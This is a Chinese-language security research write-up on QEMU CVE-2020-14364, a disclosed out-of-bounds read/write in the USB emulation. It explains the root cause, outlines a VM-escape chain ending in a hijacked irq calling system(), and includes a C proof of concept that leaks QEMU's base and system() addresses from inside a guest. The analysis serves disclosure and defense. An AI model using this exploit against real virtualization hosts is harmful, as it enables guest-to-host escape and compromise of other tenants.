QEMU CVE-2020-14364 漏洞分析(含 PoC 演示)

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奇安信代码安全实验室研究员为Red Hat发现六个漏洞(CVE-2020-14364、CVE-2020-10756、 CVE-2020-12829、 CVE-2020-14415、 CVE-2020-15863和CVE-2020-16092),其中 CVE-2020-14364 被评为具有“重要影响”。研究员第一时间向 Red Hat报告且协助其修复漏洞。本文分析的是 CVE-2020-14364,希望给大家带来一些启发。

 

一、漏洞分析

QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化开源托管虚拟机(VMM)。

QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。

 

二、漏洞成因

USB总线通过创建一个USBpacket对象来和USB设备通信。

Usbpacket对象中包含以下关键内容

struct USBPacket {

    /* Data fields for use by the driver.  */

    int pid;

    uint64_t id;

    USBEndpoint *ep;

    ....

};

其中pid表明packet的类型,存在三种类型in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备。

数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。

if (s->setup_buf[0] & USB_DIR_IN) {

            int len = s->setup_len - s->setup_index;

            if (len > p->iov.size) {

                len = p->iov.size;

            }

            usb_packet_copy(p, s->data_buf + s->setup_index, len);

            s->setup_index += len;

            if (s->setup_index >= s->setup_len) {

                s->setup_state = SETUP_STATE_ACK;

            }

            return;

        }

漏洞存在于s->setup_len赋值的过程do_token_setup中。

s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];

    if (s->setup_len > sizeof(s->data_buf)) {

        fprintf(stderr,

                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",

                s->setup_len, sizeof(s->data_buf));

        p->status = USB_RET_STALL;

        return;

    }

虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞。

 

三、漏洞利用

1.泄露USBdevice对象的地址。

观察越界可读内容发现

struct USBDevice {

    ...

    uint8_t setup_buf[8];

    uint8_t data_buf[4096];

    int32_t remote_wakeup;

    int32_t setup_state;

    int32_t setup_len;

    int32_t setup_index;

 

    USBEndpoint ep_ctl;

    USBEndpoint ep_in[USB_MAX_ENDPOINTS];

    USB

可以从下方的ep_ctl->dev获取到usbdevice的对象地址。

2、通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。

3、我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。

绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。

4、通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。该地址位于程序data节区。这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。

5、在data_buf中伪造irq结构。

6、以伪造结构劫持ehcistate中的irq对象。

7、通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。完成利用。

 

四、漏洞poc代码

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <errno.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <stdbool.h>
#include <netinet/in.h>  
unsigned char* mmio_mem;
char *dmabuf;
struct ohci_hcca * hcca;
struct EHCIqtd * qtd;
struct ohci_ed * ed;
struct ohci_td * td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh * qh;
struct ohci_td * td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};


typedef struct EHCIqh {
    uint32_t next;                    /* Standard next link pointer */

    /* endpoint characteristics */
    uint32_t epchar;

    /* endpoint capabilities */
    uint32_t epcap;

    uint32_t current_qtd;             /* Standard next link pointer */
    uint32_t next_qtd;                /* Standard next link pointer */
    uint32_t altnext_qtd;

    uint32_t token;                   /* Same as QTD token */
    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqh;
typedef struct EHCIqtd {
    uint32_t next;                    /* Standard next link pointer */
    uint32_t altnext;                 /* Standard next link pointer */
    uint32_t token;

    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqtd;
uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;
	
    // Assert page alignment

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);
     
    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present
     

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}
 
void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}
void init(){

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");


dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    mlock(dmabuf, 0x3000);
hcca=dmabuf;
dmabuf32=dmabuf+4;
qtd=dmabuf+0x200;
qh=dmabuf+0x100;
setup_buf=dmabuf+0x300;

}
void init_state(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
struct EHCIqtd * qtd;
qtd=dmabuf+0x200;
qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
setup_buf[6]=0xff;
setup_buf[7]=0x0;
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
void set_length(uint16_t len,uint8_t in){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
setup_buf[0]=in;
setup_buf[6]=len&0xff;
setup_buf[7]=(len>>8)&0xff;
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);


qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}
void do_copy_read(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);

qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 1<<8 | 0x1f00<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x1000);
qtd->bufptr[1]=virt2phys(dmabuf+0x2000);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);

}
int main()
{

init();

iopl(3);
outw(0,0xc0c0);
outw(0,0xc0e0);
outw(0,0xc010);
outw(0,0xc0a0);
sleep(3);
init_state();
sleep(2);
set_length(0x2000,0x80);
sleep(2);
do_copy_read();
sleep(2);
struct USBDevice* usb_device_tmp=dmabuf+0x2004;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

uint64_t dev_addr=usb_device.ep_ctl.dev;



uint64_t *tmp=dmabuf+0x24f4;
long long base=*tmp;
if(base == 0){
printf("INIT DOWN,DO IT AGAIN");
return 0;
}

base-=0xee5480-0x2668c0;
uint64_t system=base+0x2d9610;
puts("\\\\\\\\\\\\\\\\\\\\\\\\");

printf("LEAK BASE ADDRESS:%llx!\n",base);
printf("LEAK SYSTEM ADDRESS:%llx!\n",system);
puts("\\\\\\\\\\\\\\\\\\\\\\\\");
}

 

五、PoC 演示视频

视频地址:https://v.qq.com/x/page/w3141fini4b.html

本文作者:奇安信代码安全实验室研究员张子明(@Ezrak1e)

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